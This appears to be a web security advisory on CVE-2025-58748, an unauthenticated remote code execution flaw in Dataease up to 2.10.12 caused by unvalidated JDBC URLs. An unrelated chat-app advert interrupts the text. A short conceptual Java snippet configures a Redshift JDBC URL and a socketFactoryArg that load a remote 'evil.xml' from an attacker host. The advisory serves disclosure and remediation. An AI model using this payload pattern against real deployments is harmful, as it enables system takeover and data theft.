Overview
Dataease, a popular open-source data analytics and visualization platform, has been identified to contain a critical security vulnerability (CVE-2025-58748) that could expose systems to remote code execution. This vulnerability, present in versions up to 2.10.12, has far-reaching implications, threatening the security and integrity of data and systems where the application is deployed.
The severity of the issue is underscored by the potential for system compromise and data leakage, which could lead to significant operational disruption and financial loss for affected organizations. As such, this vulnerability warrants immediate attention and remediation.
Vulnerability Summary
CVE ID: CVE-2025-58748
Severity: Critical (9.8/10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Remote Code Execution, Potential System Compromise, Data Leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Dataease | Up to and including 2.10.12
How the Exploit Works
The vulnerability resides in the H2 data source implementation (H2.java). Specifically, the software fails to validate that a provided JDBC URL starts with jdbc:h2. This oversight enables an attacker to craft a JDBC configuration that substitutes the Amazon Redshift driver. Furthermore, the attacker can leverage the socketFactory and socketFactoryArg parameters to invoke org.springframework.context.support.FileSystemXmlApplicationContext or ClassPathXmlApplicationContext with a remote XML resource under their control. This manipulation results in remote code execution, which could lead to full system compromise.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited:
// Attacker-controlled JDBC config
String jdbcUrl = "jdbc:redshift://malicious-server.com/dbname";
String socketFactory = "org.springframework.context.support.FileSystemXmlApplicationContext";
String socketFactoryArg = "http://malicious-server.com/evil.xml";
// The application blindly trusts the provided config
Connection conn = DriverManager.getConnection(jdbcUrl, props);In this example, the attacker has substituted the legitimate JDBC URL with a malicious one pointing to their server. Furthermore, they have specified a malicious XML resource via the socketFactoryArg parameter. When the application attempts to establish a connection using this configuration, it will inadvertently execute the attacker’s code.
